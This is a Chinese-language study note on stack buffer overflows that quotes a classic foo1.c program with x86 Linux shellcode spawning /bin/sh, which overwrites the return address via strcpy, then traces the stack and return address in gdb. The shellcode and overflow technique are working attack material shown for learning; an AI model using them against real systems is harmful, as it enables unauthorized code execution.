缓冲区溢出学习笔记

以前很少用gdb分析代码， 这回找个最简朴的shellcode练练， 顺便关税， 见笑

1.前辈代码 (<<缓冲区溢出机理分析>>)

/*foo1.c

 *

 */

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {

char buffer[96];

int i;

long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)

*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)

large_string[i] = shellcode[i];

strcpy(buffer,large_string);

}

2 初始

缓冲区溢出的原理略， 这里我先gcc -S she.c 看了一下main的开头汇编

--------------------------------

main:

   pushl %ebp           /*在这里开始main */

   movl %esp,%ebp

   subl $104,%esp       /*buffer+i+long_ptr的总长度是104,

                        在这里esp一下从ebp移到了栈尾， 实在

                        就是long_ptr所在处*/

   pushl %esi

   pushl %ebx

   movl $large_string,-104(%ebp) /*用gdb来break main时断点设到了这一行*/

用gdb分析得到现在的堆栈情况是

------------------------------------------------------------------

          esp

var:      

低端内存   [long_ptr][i][buffer...][ebp][ret][str..]    高端内存

len:(byte)    4      4    96        4    4

------------------------------------------------------------------

在这个点上gdb输出是

-----------------------

(gdb) print &buffer

$6 = (char (*)[96]) 0xbffffac8

(gdb) info regist ebp

ebp            0xbffffb28       -1073743064

(gdb)

这和上图是一致的

而ret

-------------------

(gdb)x 0xbfffb2c /*ebp+4对应ret*/

0xbffffb2c:     0x400329cb

(gdb)disassem 0x400329cb

Dump of assembler code for function __libc_start_main:

0x400328cc <__libc_start_main>: push   %ebp

0x400328cd <__libc_start_main+1>:       mov    %esp,%ebp

.....

0x400329c6 <__libc_start_main+250>:     mov    0x8(%ebp),%ecx

0x400329c9 <__libc_start_main+253>:     call   *%ecx

0x400329cb <__libc_start_main+255>:     push   %eax

0x400329cc <__libc_start_main+256>:     call   0x40032234

gdb输出了数行libc_start_main的代码， ret的0x400329cb的确指向

了call main后的下一指令

当然在这一时刻可以跳过溢出代码， 这样

－－－－－－－－－－－－－－－－－－－－－－－－

(gdb) b *0x400329cb  /*设在正常返回的libc_start_main里*/

Breakpoint 2 at 0x400329cb: file ../sysdeps/generic/libc-start.c, line 92.

(gdb) return      /*假如不是return而是fin,溢出代码一执行， 就到不了这里了*/

Make main return now? (y or n) y

    main=0x8048400 <main>, argc=1, argv=0xbffffb74, init=0x80482c0 <_init>,

                                                     ~~~~~~~~~~_init()

    fini=0x80484bc <_fini>, rtld_fini=0x4000ae60 <_dl_fini>,

    stack_end=0xbffffb6c) at ../sysdeps/generic/libc-start.c:92

92      ../sysdeps/generic/libc-start.c: No such file or directory.

(gdb) info register eip

eip            0x400329cb       1073949131

－－－－－－－－－－－－－－－－－－－－－－－

eip恰是上面的ret传来的

这里我们还可以看到libc_start_main在main启动前call了init,还有个fini是在main之后

了？不会， 我是从

main返回到这的阿！

(gdb)disassem 0x80482c0

---------------------------------------

Dump of assembler code for function _init:

0x80482c0 <_init>:      push   %ebp

0x80482c1 <_init+1>:    mov    %esp,%ebp

0x80482c3 <_init+3>:    push   %ebx

0x80482c4 <_init+4>:    call   0x80482c9 <_init+9>

0x80482c9 <_init+9>:    pop    %ebx

0x80482ca <_init+10>:   add    $0x127b,%ebx

0x80482d0 <_init+16>:   cmpl   $0x0,0x20(%ebx)

0x80482d7 <_init+23>:   je     0x80482de <_init+30>

0x80482d9 <_init+25>:   call   0x0

0x80482de <_init+30>:   mov    %esi,%esi

0x80482e0 <_init+32>:   call   0x80483d0 <frame_dummy>

0x80482e5 <_init+37>:   call   0x8048490 <__do_global_ctors_aux>

0x80482ea <_init+42>:   mov    0xfffffffc(%ebp),%ebx

0x80482ed <_init+45>:   leave

0x80482ee <_init+46>:   ret

End of assembler dump.

-----------------------------------------

这段代码谁知道什么意思啊？不外似乎跑题了， 回到shellcode吧!